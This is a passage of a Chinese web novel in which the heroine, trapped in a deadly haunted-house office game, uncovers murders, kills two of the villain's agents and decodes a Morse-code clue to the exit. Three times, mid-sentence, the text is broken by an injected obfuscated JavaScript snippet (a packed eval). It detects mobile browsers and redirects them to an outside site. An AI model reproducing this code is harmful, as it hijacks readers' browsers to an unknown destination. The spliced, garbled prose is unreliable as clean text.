说没来得及说话,保洁员高高挥起木棍朝她打去。 燕逸岫侧身躲过:“我没开玩笑!” “别以为找这种借口还能过骗我,我已经听过好几次了,”她露出一口沾满血迹的尖牙,笑容阴森,“今天你们跑不掉了。” 木棍挥舞带起的呼呼风声迅疾有力。 无法交流。燕逸岫感觉头更痛了。 她弯腰避开横扫而来的攻击,瞄准空档靠近,踹向NPC的小腿,抓住她歪倒站不稳的时机一把推开大步往外跑。 保洁员见状,立刻拎着木棍追出去。 “别跑!上厕所超时的人要倒所有卫生间的垃圾,这是公司传承了整整二十三天的规定,这是你们的职责,怎么能给别人添麻烦?自己的事情自己做!” 这公司真的是疯了吧? 燕逸岫保持着快要被追上的距离,尽量往远离厕所的地方跑,让还待在里面的两人可以找机会赶紧溜走。 算着时间差不多了,她加速穿过拐角,趁着对方还没出现,打开其中一间办公室的门,伪装出自己躲到办公室里的假象。 接着她贴着墙继续往前穿过走廊,边留意四周的动静。 也不知道刚才是谁趴在厕所门外,现在又去了哪里,目标是不是她。 “啊———” 闻声,燕逸岫脚步一顿,然后跑得更快。 她听到了欧徽的尖锐惨叫从四楼传来。 27. 众人中的“鬼” 飞奔上楼后,燕逸岫看到欧徽跌坐在地上,手脚发软,抖个不停,见了鬼似的。 还在动,还活着。燕逸岫把长发拢到肩后,暗暗松了一口气,觉得呼吸都顺畅了几分。 其她几人也陆续循声从不同方向出现。 燕逸岫的目光迅速掠过这几张脸。 除了已死的男生,只有寸头男的女朋友不在其中。 “怎么了?”独自前来的红发女生问道。 欧徽一时半会吓得说不出话,用求救的眼神看向周围的人。 大家上前把他拉起来。 燕逸岫也趁机凑了过去扶住他的胳膊,借着人多偷偷往他衣角挂了一个微型窃听装置。 小蜘蛛会自动爬到口袋角落里隐藏好自己,不容易掉落。 第四层是老板的办公场所,宽阔豪华,办公室、书房、茶室、卧室、健身房等一间间配备齐全,比家还像家。 欧徽面前的办公室门虚掩着,红发女生大胆上前,推开了门探身往里头看。 一个人吊死在老板办公室里,位置正对着门口,摇摇晃晃。 这确实是见了鬼。 在大家还没反应过来时,绳子突然自行断裂,尸体重重砸在地上。 “哈哈哈……咯咯咯……” 尸体四肢扭曲移动,开始发出痛苦瘆人的笑声。 “老板,为什么还不发工资,已经拖欠半年工资了,我已经吃不起饭了……” “不交五险一金,一下班就布置新任务让我加班,晚上超过八点半没公交我只能打车回家,还不给报销……” 上吊导致呼吸道阻塞,他的喉咙沙哑,仿佛黏着一团咽不下吐不出的稠血。 “我好不容易完成了这个月的业绩,下个月指标就翻倍,没达到就几百几百地扣钱……” “天天开会批评说我没用、不上进,一次次降薪,放假还催我回公司加班,也没有加班费,我已经在公司过了三年春节了……” 几个玩家都听傻眼了,活这么久都没见过如此缺德带冒烟儿的老板。 因为太过震惊以至于忘记对方是鬼屋NPC,忘记害怕,大家默默站在门外沉浸式听他倾诉抱怨。 “我受不了了,我好恨啊,我要死给你看,我要死在你办公室,把你也吓死,吓不死也让你晦气,可是……可是绳子断了……我死不掉……” “我受不了了……可我死不掉,既然这样,那就、那就……” 他猛然从身下抽出一柄沾满凝固血迹的旧菜刀,爬起来嘶喊着冲向燕逸岫等人,面目狰狞可怖:“全都死!那就一起死!同归于尽!” “良心被狗吃了的资本家,你不让我活,我也不放过你!我做鬼也不会放过你!” 这震撼人心的演技感觉多少带点私人情绪,估计是真的经历过黑心老板的无情折磨。 大家这会儿才恍然回神,立刻转身往走廊里逃。 燕逸岫被撞得往前歪了几步,稳住身体后张嘴想出声。 “等一下!” 突然间,一道咆哮压过了其余杂音。 所有人停下动作,看向张开手臂拦住去路的寸头男,不明白他在这关头闹什么。 寸头男试图控制场面:“别玩了!真的有人死了!你们都冷静点——” 躲在其它地方的鬼员工闻言也探出头来。 “你在说什么啊……”NPC放下手呲着牙笑,喉咙里仍然咕噜咕噜地响。 “我没骗你们,不信你们都去二楼楼梯口看看,跟我们一起进来的男的已经被杀了。” “真的!游戏先停一会儿行不?亲眼看看再说啊。” 见他急得快跳起来了,大家只好先下楼看看情况。 然而尸体已经不见了,地面干干净净,什么痕迹都没有。 “这这,怎么会,凶手、是凶手把尸体藏起来了?” “字还在。”燕逸岫望着天花板轻声说道。 血迹已经干了,不再往下滴落,只有微乎其微的血腥味徘徊在楼道间,随着几人的呼吸变得更加难以察觉。 她余光瞄向欧徽。 他仿佛不在状态,茫然挠着头,没意识到死神早已守候在不远处等着他。 “什么尸体,肯定是哪个NPC故意弄出来吓唬人的啦。” 上吊员工NPC满不在乎地摆摆手:“正常操作正常操作,为了能让游戏更有趣,我们有时候会拉拢某个玩家来假扮尸体或变异人,即兴加入规则之外的插曲,这样才会更好玩嘛。” 酷妹、麻花辫女生和寸头男听着这番合理解释,都露出迟疑的神色,也开始怀疑这只是游戏的其中一部分而已,并不是真的出事了。 燕逸岫打破沉默反驳:“我也看见了,那人确实是死了,没有呼吸。” “哎呀,我在不同鬼屋当NPC两年多了,见过的离谱事可多了去了,都是故意搞出来吓唬大家的,我向你们保证,放心吧——” 燕逸岫皱紧眉头。 她知道自己没判断错,可如今尸体不见了,她也没有别的证据,天花板上的血字说到底也不能表示什么,毕竟在外人看来这只是一句普通的话,只是鬼屋游戏中的一环。 她也不能现在就揪出欧徽揭露他的身份来证明凶手就在大家之中,一来自己会完全暴露,双拳难敌四手,更糟的是,一旦明面牵扯上反派,他就绝不可能让所有人活着出去,有机会向警方提供任何证词。 “好啦好啦别多心,游戏……继续!”说完,NPC就大笑着挥起菜刀,张牙舞爪地开始吓唬面前的玩家。 玩家们也抛开杂念投入游戏。 陌生人和熟悉鬼屋的NPC,她们自然而然会更相信后者的话。 燕逸岫只好尽量大声喊道:“总之大家还是小心点!” 希望她和寸头男的证词至少能让她们有所警惕。 接着她往欧徽跑走的方向追去。 尽快找到钥匙与出口,尽快揪出众人之中的“鬼”,才能争分夺秒挽救更多人的命。 不是异能成员的人先死了,可想而知,反派是抱着宁可错杀一百绝不放过一个的心态设下陷阱。 大家现在仍然认为这只是一场刺激惊险的逃亡游戏,对身边人不设防,恐怕得等到亲眼目睹下一具尸体才会意识到事态严重性。 她没办法同时护住所有人。 燕逸岫感到无力。 她低头查看微系统,十几条讯息仍然处于发送中的状态,没能成功发出。 冷静下来重新整理一遍思绪后,她推测欧徽暂时是安全的,因为他目前仍然有用。 反派可以通过观察谁一直在欧徽附近出现来判断哪位玩家是异能成员,从而尽早解决掉敌人不留后患,所以欧徽应该在其她人都死后才会被灭口。 燕逸岫确认了窃听器在正常运转,随即稳住心神。 她决定先返回二楼员工办公室找线索,一层层排除。 “用公司的抽纸要登记,没登记不能拿,每个人每两个月领一包,多拿扣钱,偷拿扣钱。” 燕逸岫正在仓库里拨拉杂物,墙角上的喇叭循环播放着这段提醒,听得人烦躁又无语。 什么抠门公司,餐巾纸都给不起。 仓库没有收获,燕逸岫便赶紧起身离开,远离洗脑魔音。 她开始按照座位顺序依次检查员工工位。 正翻得起劲,燕逸岫听到有东西正在靠近自己,她略略偏头,以余光斜向后方,看见是一个类似06的古早机器人。 机器人发出小孩子的稚嫩童音,语气欢快:“每日锻炼职场情商时间到!送分题——正局长姓傅,副局长姓郑,两位领导同时在场,你要怎么分别称呼她们呢?” 什么送分题,这明明是送命题。 职场情商为负数的燕逸岫无言以对,转身就走。 她要怎么称呼?她这个社恐根本不会称呼,只会装哑巴微笑点头来糊弄,找机会躲得远远的。 “考生请尽快作答,考生请尽快作答,”机器人识别到燕逸岫越走越远,没有理会自己,语气 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13582993|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遽然变得阴沉,下一秒就从金属胸腔中掏出了一把砍刀,“考生拒绝回答,成绩为零,鉴定为职场废人,准备清除。” 说完,它就朝燕逸岫冲过去。 “???” 燕逸岫暗骂一声,撒腿就跑。 她特意跑出办公室找楼梯往上跑,心想一级级的台阶对于这种没腿的机器人来说算是不小的障碍,它的速度会因此减缓。 没想到机器人突然伸出十条长长的鸭掌型有蹼机械腿,丝滑地游上了楼梯。 燕逸岫见状瞪大眼睛,卯足劲逃得更快。 对不起,她忘了这是高科技新世界。 跑上四楼后,她和同样正在被NPC追杀的酷妹在走廊迎面碰上了。 燕逸岫眼前一亮,抬手示意酷妹继续往自己这儿跑,而她稍稍放缓速度,等四人快聚成一团时劈手抓住酷妹的胳膊,急转弯拉她往侧面拐。 惯性让两人直直扑到墙上,也让两个NPC撞在一起摔倒,武器叮铃哐啷掉在地上。 燕逸岫跑得太急,扑到墙上又马上弹了回去,她就顺手牵羊把地上的两把刀捡走了。 “拿着防身,”燕逸岫把其中一把刀塞到酷妹手中,神情认真严肃,语速飞快,“我还是觉得有危险,你一定要多留个心眼。” 没等酷妹来得及回答,地上的NPC爬起来再次冲向两人。 这时,轻柔舒缓的铃声响起。 所有NPC在这一瞬间收回动作,狰狞的表情也骤然换成如释重负的笑脸,不再管玩家,而且匆匆忙忙乘电梯回到二楼。 燕逸岫和酷妹疑惑对视,也跟着去了二楼查看情况。 所有员工都保持着诡异的笑容,软绵绵飘回自己的工位,趴在桌上一动不动。 铃声停止。 “接下来进入午休时间,在这一个半小时内,公司里的员工都开启沉睡状态,没有攻击性,玩家可以自由行动寻找线索,一个半小时后午休结束,所有员工恢复狂暴状态,请玩家把握时间。” 广播里的机器人似乎也萌生困意,慢悠悠说出这番话。 “太好了,”本就在办公室里的红发女生惊喜不已,“总算可以放松一会儿了。” 她在身旁空的工位上坐下,捶捶因为持续奔跑而绷紧的小腿肌肉。 酷妹也安心地蹲在地上平复呼吸。 但燕逸岫不敢停下休息,她知道现在时间不能浪费,必须趁没有NPC阻挠的大好机会赶紧行动。 找钥匙,找出口,找钥匙,找出口。 这下真的是路过的蚯蚓都要被她劈成两段看看有没有藏钥匙了。 她甚至拔出已经枯死的发财树,翻找盆底,又碾碎干到发白的硬土块。 什么都没有。 休息了几分钟的其她人也打起精神继续游戏。 燕逸岫来到一个趴在桌上披着薄毯睡觉的NPC身旁。 她看了眼时间,才过去二十六分钟,在规则时间内,不会有事。 于是她开始翻动桌上的物品,保持速度的同时尽量放轻声音。 最后她拉开柜子发现一个信封。 燕逸岫将其取出掂量掂量,有一点重量,说不定藏着钥匙。 她三两下拆开,取出里面的东西。 是折得整齐的一叠纸。 正要浏览里面的内容时,室内昏黄的灯光刹那间变成暗红血色,朦朦胧胧如雾气笼罩,令人心慌的警铃声充斥于办公室中,长鸣不止。 “午休结束。”毫无感情的机械声音一字一顿说道。 什么? 燕逸岫愕然。 ……明明才过了二十八分钟。 “所有人立刻起床开始办公,违者重罚。” 燕逸岫慌忙抓紧手中的东西低下头,就与趴在桌上露出半张脸的人对视。 红光映在他布满红血丝的右眼中,燕逸岫似乎看到那一道道血丝在游走蠕动,吸收了红光后加速蔓延生长。 他抄出垫在手臂底下的水果刀朝燕逸岫刺来。 28. 反击反杀反抓鬼 不止他一人,趴在桌上的、藏在暗处的,所有NPC随着广播的警告一齐冲出来,犹如丧尸过境。 燕逸岫在对方出刀的同一时刻将空信封砸到他脸上遮蔽视线,带着信纸后退两步远离刀尖,转身冲向大门。 其她人也很快跟了上来,逃出办公室后再次分散。 燕逸岫明显感觉到这些NPC变得比先前更凶狠,速度加快,攻击的力道也更重,连怒吼都愈发撕心裂肺。 情有可原,午休没睡够确实会让人想炸了全世界,特别是成为打工人后。 但这样你追我跑继续游戏,拖延时间只会害更多人悄无声息丧命。 于是燕逸岫心思一转,又开始了老本行——躲。 第五层尚且未知,但这四层楼的大致构造已经在她脑海里成型了,哪里适合藏人她心里有数。 虽然在鬼屋玩捉迷藏很容易和正在躲猫猫中的NPC对上眼,导致惊恐值翻倍飙升,但现在也没别的办法了。 只能尽量避开群起攻之的NPC,逐个击破,抓紧时间搜寻线索。 燕逸岫边跑边往后看,确定了某一个人的方位后,故意与其对视几次,流露出慌张害怕之色,吸引她的注意力,又不慎“慌不择路”往对方靠近的右侧通道逃。 果然,她想见的那个人咬住诱饵,脱离大部队,和另外一人并肩追了上来。 NPC们狂奔一分钟,眼看胜利在望,马上就能逮住玩家,她却轻飘飘一闪,消失在拐角。 不见了。 走廊边另外两间屋子的门都大敞着,静悄悄等着人前来探索。 两个NPC各找一间,最后都没有发现什么,只好继续往前游荡。 其中一人心中另有计划,打了招呼后就独自行动,去了相反方向。 她一间间屋子寻找,等着抓到某只势单力薄的可怜兔子。 门在背后无声合上,直到听见上锁的响动,她才惊觉转头,近距离看到对方那亮着幽幽微光的双眼。 “抓到你了。”燕逸岫笑道。 跟前的NPC,正是最开始抓住她脚踝往下扯的那人。 她就是反派派来的其中之一。 没等对方回神,燕逸岫抬起手臂锁喉,用力勒紧她,押着她往前撞到墙上,死死禁锢住。 接着她从NPC手中夺下刀翻转检查。 这是把开了刃的真刀,不是道具。 “你……你怎么知道……”NPC脸贴着墙,费劲地挤出声音。 燕逸岫抬膝顶她的腿弯,示意她注意自己膝盖上沾上的浅浅一层白灰。 “跪在地上,起来时可要记得拍干净身上的灰尘啊。” “碰上你这种粗心的杀手真是幸运。” 刀光在无灯的暗室闪了一瞬。 回到走廊外后,燕逸岫启动微系统看了最后一遍,消息仍然无法成功发送。 她不再尝试,而是直接退出关闭,彻底切断与外界的联络。 反派不一开始就杀人,反倒花时间折腾出这个游戏,除了消遣人的恶劣想法外,应该还盘算着在游戏过程中挖出更多行动组的线索。 他知道自己一露出尾巴,异能成员肯定会想尽办法与队友联系,特别是通过系统联系,那他就可以趁此机会用什么特殊手段来追踪,从而找到系统。 二来也能在游戏中观察敌人的能力,提前想好对策来解决她。 燕逸岫把长发绑起,深深呼吸,做好心理准备。 一旦开始反击,反派肯定马上就锁定她了。 “又是一个不怎么熟悉的身影啊,姜韫到底藏了多少后备力量,还是说,这是新来的?”坐在监控前的人下巴抵在手背,眯起眼凝视视频中的人,“说是不熟悉,但好像又在哪见过……” “这个身影,到底在哪见过……” 来到三楼时,燕逸岫偶遇了躲在副总经理办公室里的麻花辫女生。 见到熟悉的面孔,她激动得几乎泪眼汪汪:“我和朋友走散了,怎么办,她不在身边我心慌,好怕她被NPC抓住,我自己也害怕,不敢单独出去……” “我刚才遇到过她,只不过后来又分开了,”燕逸岫说道,扬起和善的笑安抚对方,“没事,那我们一起去找线索吧,我独自一人也心慌慌的,说不定很快就会再碰上她了。” 麻花辫女生如释重负,立刻贴到她身边,跟着她走。 “你叫什么?” “曾琼瑾。” “是大学生吗?” “对,我们大一。” 本想再聊些别的缓和她的紧张情绪,燕逸岫忽然止住话头,转身看向门外。 门口站着一个黑影。 他的西装口袋上别有“甲方”的白色标签。 “为什么不回消息?我提的修改意见你怎么都没改?”他语气不善,但没有攻击倾向,木偶般黑洞洞的眼睛在她们两人之间打转。 燕逸岫怔愣,一时之间不知道要说什么。 “改了才能下班。”他打开一个虚拟屏,不由分说拖到燕逸岫面前。 为了不触动未知的规则,燕逸岫便老实按照屏幕上的信息迅速修改了策划方案内容进行提交,把屏幕推回甲方面前。 然而他一动不动。 燕逸岫和曾琼瑾等了几秒,又在对方眼前晃晃手,都不见他作出任何反应。 “应该是没问题了,走吧。” 燕逸岫嘴上这么说着,但还是不太放心地一步三回头,谨慎提防。 甲方NPC仍然呆着不动,像电量耗光无法正常运作的机器人。 为了避开这个奇怪的NPC,燕逸岫决定先上楼。安全抵达四楼后,两人进入老板办公室埋头翻动寻找钥匙。 不料没过多久,甲方NPC又出现在她们面前。 “为什么不回消息?我提的修改意见你怎么都没改?改了才能下班。” 燕逸岫看了看虚拟屏上那份明明提交过去但对方未读的文档,怀疑他眼睛瞎了。 “我已经交了,你点进去查看啊。” 回答了他的问题,结果他却又不动不说话,犹如立着的死尸。 燕逸岫都不知道该摆出什么表情了,只当他抽风,转身继续自顾自忙活,没再理会。 十分钟后,甲方像牛皮糖似的又黏了上来,阴魂不散。 “为什么不回消息?我提的修改意见你怎么都没改?改了才能下班。”他重复着同样的话,语气多了几分怒意。 有毛病?到底是谁不回消息? 燕逸岫不耐烦地瞪他一眼,忍不住开始考虑能不能给他两拳直接打晕。 曾琼瑾不想惹怒对方导致狂暴状态激活,于是按捺住情绪,重新改了一遍策划案再次提交。 果不其然,甲方NPC再次进入痴呆静止状态。 “……” 此时她们差不多已经搜完这间屋子了,便赶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13592908|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 紧离开室内打算躲远。 没成想两人刚一踏出门,一直情绪稳定杵在桌前的甲方NPC突然进入狂暴状态。 “没改方案就下班?谁允许你下班了?没完成工作你怎么有脸下班的?给我回来改方案!” 曾琼瑾先是吓了一跳,紧接着也恼火了,不假思索发脾气回怼:“两个眼睛长着干嘛的?明明就改完方案交给你了,自己看都不看,不回消息,怎么有脸怪我们?赶紧吃点猪脑补补吧,怎么什么东西都能当领导?” 听到这番话,怒目圆睁的NPC保持着这一表情缓缓转头盯住了她,房间中忽闪忽闪的绿光照在他脸上,显得更加诡异,令人毛骨悚然。 曾琼瑾瞬间寒毛直竖,噤声往燕逸岫身后挪了几步。 “跟这种脑子不清楚的人没什么好讲的,算了算了,我们就听他的话吧……”燕逸岫无奈叹气,下一刻就川剧变脸,抓起曾琼瑾的胳膊拽她狂奔,“跑!” “敢跑?没改方案不许下班!扣钱!合同终止!我要让你们老板开除你!” 燕逸岫带着曾琼瑾绕了几个弯,甩开脑子不清楚的甲方,最后停在一间办公室前喘气休息。 “真是离谱又好笑,”见是一间自己还没搜过的地方,曾琼瑾顺势打开门走进去,“不知道以后我工作了会不会碰上这种……” 剩余的话都堵在了喉咙,吐不出半个字。 燕逸岫没听到下文,漫不经心扭头瞧一眼,却见她脸色突然变得惨白,僵在原地。 意识到不妙,燕逸岫连忙将门开大往里看,也在一瞬间屏住呼吸。 地板上躺着第二具尸体,被害者被割喉,鲜血喷涌溅满整面白墙。 是前不久刚出声制止大家的寸头男。 曾琼瑾捂住嘴咽回惊叫,躲到燕逸岫身后,又踮起脚越过她的肩头朝地上看去。 “这、这应该是假的吧?应该是他和NPC合伙吓唬人的吧?” 燕逸岫感受到她按在自己肩上的手抖个不停。 虽然她也希望是如此,但事实终究摆在眼前。 燕逸岫垂下眼帘:“他真的死了。” “怎么会……” “第二具尸体,”燕逸岫闭上眼叹气,“情况越来越糟了。” “不好,我得去找小繁,”曾琼瑾一步步后退,摇摇晃晃站不稳,“她也会有危险……我得去找她……” “现在单独行动纯粹是往枪口上撞,”燕逸岫立刻把人拉回身边,“别乱来,等会儿我们一起找。” “那现在怎么办?”见燕逸岫上前,心有余悸的曾琼瑾寸步不离紧紧挨着她,“要不要喊其她人过来?” “我先看看。” 燕逸岫语气严肃,大步走到尸体面前蹲下。 她一弯腰,她背后的人影也因此露出。 曾琼瑾正面无表情地垂眸俯视着认真检查尸体的燕逸岫,嘴角挂着冷漠的微笑,眼中杀意涌动。 “我天生胆子小,本来不太想玩,但今天是小繁生日,我只想让她高高兴兴过生日,就答应陪她一起来了。” “早知道会发现这么可怕的事,我无论如何都要拦住她,不让她在生日这么快乐的日子经历危险,万一她出了什么事,我一辈子都不会原谅自己了。” 曾琼瑾声音颤抖,哽咽着念叨,语气中满是懊悔,神色却不见分毫伤心害怕。 边说着,她在昏暗中悄无声息地抬起手,伸向身前的人影。 29. 暗号B 易如反掌…… 下一刻,背对她的燕逸岫突然率先抓住了她的右手往自己身前拽,钳住她整条胳膊起身。 曾琼瑾瞳孔骤缩,顿时感觉天翻地覆,另一手试图抓住什么东西稳定,最后勾住了燕逸岫绑头发的皮筋。 她后背砸在坚硬地面,一阵火辣辣的疼。 眨眼之间,燕逸岫把人过肩摔摔了出去。 秦观秋教她的招式终于亲自实践了一回,虽然动作不太标准连贯,但好歹最后还是成功了。 趁对方还没缓过劲,燕逸岫手脚并用死死把人押住按在地上,不屑地冷笑:“别以为我看不出,你编在辫子里的绸带是打算用来勒死人的凶器。” 两条绸带现在都掉在地上,在扭打中被踩在鞋底蹭了脏土,变得灰蒙蒙的。 曾琼瑾使劲蹬腿想要挣脱束缚,咬牙切齿,有些不甘心:“看来你就是那人想杀的目标啊。” 皮筋被扯掉,燕逸岫长长的假发散开垂下,遮住了两人的脸。 “你的好朋友也是杀手?” “她不是,这件事与她无关。” “是吗?那你杀了你朋友吗?” “我怎么可能杀那个天天只会傻笑的笨蛋,就是不想牵扯上她才故意和她走散独自行动。” 曾琼瑾边说着,趁机突然发力想要翻身,但再度被燕逸岫控制住,动弹不得。 “既然是好朋友,为什么带她来涉险?你明知道一不小心她可能也会出事。” “有些事情不是我自己就能决定的。” “有苦衷?被威胁了?” 曾琼瑾避而不答:“要是有人正好这时候闯进来,看到这副场景,你猜她们会怎么想?她们会觉得谁是杀人犯?” 燕逸岫一直留意着外面的脚步声远近,完全不担心,对方转移话题,她也不会多说:“那你知道出口和钥匙在哪,对吗?” “我不知道。” 燕逸岫当然不信,将她反扭的两手又往下压了几厘米。 牵动到筋骨,曾琼瑾疼得额头冒汗,还能笑出声来:“就是以防现在这种境况,那人才什么都不告诉我,这样一来,就算你威逼利诱严刑拷打都没用,我说不知道就是不知道。” “第一具尸体是你藏的?” “不是。” “……既然你如此忠心耿耿不肯透露一二,那我也就不浪费时间了。” 燕逸岫换用膝盖压住她的手,倾身捡起地上的绸带套上她的脖子,快速旋转手腕将带子一圈圈缠在手掌,用力往后一拉,越拽越紧。 “早知道……就不……从……英国……回来了……” 窒息的呜咽在安静的屋中随着灯光颤动而逐渐低了下去,燕逸岫同时听着脚步声、窃听器里欧徽的动静和曾琼瑾的声音,目光沉沉。 两分钟后,她拉开虚掩的门走出来,靠在墙上。 已经挖出两个反派的人了,不知道还有多少,不知道反派的暗杀行动是否已经以失败结束。 NPC和曾琼瑾都否认了第一具尸体是她们藏的,如果不排除她们说真话的可能,那么就还有第三个“鬼”潜伏在玩家当中。 想到亚比酷妹开心爱笑的模样,燕逸岫揉揉眼睛,重新绑好低马尾。 脱逃之后……她或许真的需要一点心理干预。 窃听器依然正常运作着,耳边是欧徽时而跑时而躲的动静,他仍然活蹦乱跳,燕逸岫也能听到他的自言自语。 “奇怪,怎么还没有人来和我接头。” 他到现在都还没意识到自己的处境。 燕逸岫屈指握拳,指腹在掌心摩挲。 刚才问及出口和钥匙时,曾琼瑾说着不知道,但手指却悄悄点了她一下。 在昏暗中,燕逸岫看到她眨眼频率不太寻常。 先闭眼两秒,再快速眨了三下。 —... 摩斯密码? 燕逸岫对此只是稍有了解,并没有特意去背,上网搜索对照可能会让正在观察监控视频的反派警觉,更何况现在信号完全被屏蔽,也无法使用网络。 她只能凭记忆努力回想回想。 好像是字母B,又好像是数字6。记不清了。 曾琼瑾果然知道点什么,但她不直接提示,而是借着长发的遮挡用眼神暗示,说明反派不仅能看到,还实时监听着。 正在凝神思考着暗号B的涵义,有两道脚步声逐渐靠近了。 是酷妹和红发女生,两人一起到四楼来了。 “你在这儿啊,”酷妹见她平安无事,松了一口气,小跑来到她身边,“我半天没找到你,还以为你被NPC逮住了,对了,你有看到我朋友吗?” 燕逸岫指了指屋里:“里面有尸体,第二个人死了,不信你们自己看。” 面前二人都惊得呆住,对视一眼后贴着墙小心翼翼往里看,又吓得缩回来互相拉扯着后退。 “那个男的,真死了?” “对,我检查过了,我没吓唬你们,确实是有杀人犯在,而且已经杀了两名玩家了,”燕逸岫神色郑重,“得把大家都叫过来看个清楚,游戏必须停止,接下来大家必须集体行动,不能落单。” 她在这儿守着,没有人能再得机会偷偷搬走尸体。 很快,剩余玩家和大部分NPC都聚集在凶案现场门外,望着里头的场景,全都难以接受现实。 “怎么会这样,”原本信誓旦旦保证那些都是吓唬人把戏的上吊员工NPC几近崩溃,用力揪着自己的头发念叨,“居然死了人,这下完了……” 寸头男的女朋友在辨认出尸体身份的一瞬间无力软倒,好在大家及时扶住。她喊着男朋友的名字想冲进去,又被燕逸岫拦下来。 “别看了,会更伤心的。” 酷妹迟迟不见曾琼瑾出现,预感到她凶多吉少,也心急如焚,哪还顾及鬼图贴脸会吓人,打开了“宙”试图联系她,但通讯毫无反应。 “游戏该停止了,有办法出去吗?出口在哪里?” 听到这话,NPC才迟钝回神,转身疾步往一楼而去:“我们知道出口在哪,快走吧,我们赶紧出去报警,让警察来找人。” 然而大家的希望落空了。 鬼屋原本的出口已被封死。 “怎么会这样……怎么会这样……出不去了……” NPC彻底慌了,他徒劳抠着因铁水浇筑而封死的出口边缘,直把指甲磨得坑坑洼洼,但又仍然不肯放弃。 燕逸岫抱起双臂沉吟。 果然想多了。必须找到反派设置的出口才行,他为了和她玩这个游戏,早就做了改动,不可能让她轻易逃离。 燕逸岫这时才记起自己在二楼搜查时拿走的东西,赶紧从口袋里掏出信检查。 由于是边跑边匆匆忙忙折起来的,信纸变得皱巴巴,折痕横七竖八。 可惜这只是一份痛斥老板罪行的举报信,包括压薪资、拖工资、辱骂和pua员工、不放假等等等等,并没有其它有用的线索。 看着大家心如死灰的模样,燕逸岫只好硬着头皮出声安抚:“应该还有别的出口,大家再一起找找吧,你们检查过五楼吗?” 其中一个NPC回答道:“游戏设定里五楼是公司老板的私人场地,别人不能进,只有找到唯一的芯片刷电梯才能上去。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604713|142866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “芯片在哪?” NPC们纷纷摇头:“我们也不知道,每一场游戏的通关线索都会由专门人员打乱重放。” 酷妹说道:“既然是这么重要的地方,不愿意让别人靠近,钥匙按理说会时刻带在身上吧?” 闻言所有人都转头看向老板NPC。 他有些懵:“我、我也不知道啊……” 大家立刻上前搜身,最后在心脏道具里找到了一枚芯片。 望着那指甲盖大小的东西,燕逸岫一愣。 作为异世界的人,她的思维还有些固定,一直觉得钥匙就是钥匙,没想过会是别的形状,比如芯片。 她赶紧重新倒放脑海里的记忆片段,不过遗憾的是在这之前也都没有找到类似芯片的东西。 燕逸岫擦干净黏在芯片上面的假血浆,和大家一起乘坐电梯来到五楼。 五楼一整层都是办公室,但偌大室内只有四个工位,屏幕上也没有任何残留痕迹,空荡荡仿佛从未启动使用过。 除此之外,只有几个空柜子、一张落满灰尘的沙发,没有任何工作相关的物品,完全看不出这一层秘密空间是做什么用的。 燕逸岫翻着不多的物件,仍然在思考曾琼瑾给她的暗示。 她现在已经确定了那个摩斯密码指代的是字母B。 可这又代表什么? B是单词表第二个字母,难道出口在第二层? 燕逸岫又摇摇头否定了这一想法。如果是第二层,直接敲两下就够了,不至于弯弯绕绕用上摩斯密码。 B肯定有别的意义。 信息太少,实在令人费解,可没有办法,两人如果拉扯太多,拖得稍微久一点,反派必然疑心曾琼瑾暗中泄密透露了什么。 燕逸岫只能尽己所能发散思维考虑任何或许与B有关联的暗示。 B这个字母的形状,如果联想到房子相关,它就像一条走廊旁边挨着两个房间。 五楼没有收获,一伙人商量过后,决定分成三批,分别在二、三、四层集中寻找,这样既能提高效率也能保证安全。 燕逸岫先回到二楼。这一层中紧挨在一起的构造有女厕和男厕,还有环状走廊另一头的吸烟室和阳台。 她仔细摸索了一遍,并没有找到什么机关。 B除了第二到底还有什么意思? 燕逸岫绞尽脑汁,转累了就靠着墙蹲下来思考。 过了好一会儿,她突然想到了什么,猛地起身。 因为蹲得久了,乍一跳起来就两眼发黑,她赶紧停下脚步扶着墙缓了缓,等视线清晰了才继续往楼上跑。 B是第二没错,曾琼瑾指的的确是第二层,但并非大家常识里的第二层,而是她暗示过的另一个B——Britain的第二层。 而这涉及到一部分文化差异,英国人的用语中以groundfloor指地面第一层,第二层开始才用数字表达,第二层是firstfloor,以此类推,三楼其实才是secondfloor,第二。 三楼单层的布局浮现在燕逸岫脑海中。 这里是高层领导的办公场所,都是一人一间相邻,能成功离开的线索应该就在其中。 环状构造,两排办公室,其中一间目测空间略大,应该是给职位最高的人使用的。 或许曾琼瑾想强调的位置是两屋中间的隔墙。 具体是哪两间她不知道,但这层就这么些办公室,挨个找过去总能找到,只是会多费些时间。 燕逸岫在心里一遍遍写着B字母,抿起嘴沉思。 如果这个字母还有暗示别的线索…… 30. 逃出生天 